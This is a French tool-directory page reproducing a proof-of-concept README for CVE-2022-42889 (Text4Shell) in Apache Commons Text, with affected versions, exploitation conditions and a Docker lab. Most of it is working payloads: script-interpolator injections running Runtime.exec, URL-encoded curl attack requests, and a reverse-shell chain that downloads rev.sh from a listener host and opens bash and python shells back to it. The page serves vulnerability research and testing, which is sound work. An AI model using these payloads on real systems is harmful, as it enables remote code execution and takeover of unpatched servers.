Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-42889-text4shell — CVE-2022-42889 alias Text4Shell recherche & PoC | Kitploit
Outils/GitHubGitHub/cxzero/cve-2022-42889-text4shell
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubcxzero/cve-2022-42889-text4shell

CVE-2022-42889-text4shell

CVE-2022-42889 alias Text4Shell recherche & PoC

Voir le dépôt
203il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-42889 alias text4shell

PoC pour la vulnérabilité récemment découverte dans Apache Commons Text par @pwntester :

Comme mentionné dans https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/ :

La vulnérabilité réside dans l'objet interpolateur StringSubstitutor. Un interpolateur est créé par la méthode StringSubstitutor.createInterpolator() et permet des recherches de chaînes telles que définies dans StringLookupFactory. Cela peut être utilisé en passant une chaîne « ${prefix:name} » où le préfixe est la recherche susmentionnée. L'utilisation des recherches « script », « dns » ou « url » permettrait à une chaîne malveillante d'exécuter des scripts arbitraires lorsqu'elle est passée à l'objet interpolateur.

Versions affectées

Les versions d'Apache Commons Text affectées sont les versions 1.5 à 1.9. La faille a été corrigée dans la version 1.10.

Conditions d'exploitation

  • Exécuter une version d'Apache Commons Text allant de la version 1.5 à 1.9
  • Utiliser la classe interpolateur StringSubstitutor

Pour une exploitation à distance, une entrée contrôlée par l'attaquant doit être utilisée comme entrée pour l'interpolation StringSubstitutor. En particulier, dans les méthodes StringSubstitutor.replace() ou StringSubstitutor.replaceIn()

Autres moteurs de script JavaScript

Depuis JDK 15, le moteur JavaScript Nashorn a été supprimé : https://openjdk.org/jeps/372. Mais si des dépendances tierces sont incluses, comme JEXL, une RCE dans Apache Commons Text pourrait se produire (https://twitter.com/pwntester/status/1582321752566161409)

Exploitation

Interpolateur script

Il peut être exploité pour obtenir une RCE.

JDK < 15

Moteur Nashorn :

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

JDK 15+

Si un JEXL tiers est utilisé :

root@kitploit:~
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}

Interpolateur DNS

Cela peut conduire à une requête DNS :

root@kitploit:~
${dns:address|commons.apache.org}

Interpolateur URL

Il se connecte à l'URL spécifiée et tente de récupérer le contenu :

root@kitploit:~
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}

Compilation manuelle du PoC

Modèle basé sur https://start.spring.io/

root@kitploit:~
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar 

Exécution de l'application dans Docker

Avec JVM 11

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell 

Avec JVM 19

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell 

PoC fournis

Différents points de terminaison sont fournis pour tester les différents vecteurs d'attaque mentionnés.

/poc1

image

root@kitploit:~
curl http://localhost:8080/poc1

image

/poc2

image

root@kitploit:~
curl http://localhost:8080/poc2

image

/poc3

image

root@kitploit:~
curl http://localhost:8080/poc3

image

/message?text=

root@kitploit:~
curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

image

Avec Nashorn :

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

image image

Avec JEXL :

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D

image

image

Obtenir un reverse shell

Pour simplifier, j'utilise l'interface Docker par défaut pour l'écouteur netcat. En explorant, j'ai trouvé ces payloads avec des reverse shells bash et python qui fonctionnent correctement :

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}

Où rev.sh est servi avec ces contenus possibles :

root@kitploit:~
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
root@kitploit:~
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image image

image image

Références

  • https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
  • https://sysdig.com/blog/cve-2022-42889-text4shell/
  • https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/
  • https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
  • https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html
  • https://twitter.com/pwntester/status/1583189642471706624
  • https://twitter.com/pyn3rd/status/1582729285005037568
  • https://medium.com/@cxzero/text4shell-cve-2022-42889-brief-vulnerability-analysis-and-exploitation-fe13a0baadbb

Crédits aux autres PoC

  • https://github.com/SeanWrightSec/CVE-2022-42889-PoC/
  • https://github.com/korteke/CVE-2022-42889-POC
  • https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  • https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php
  • https://github.com/kljunowsky/CVE-2022-42889-text4shell
  • https://github.com/securekomodo/text4shell-poc
Télécharger l’outil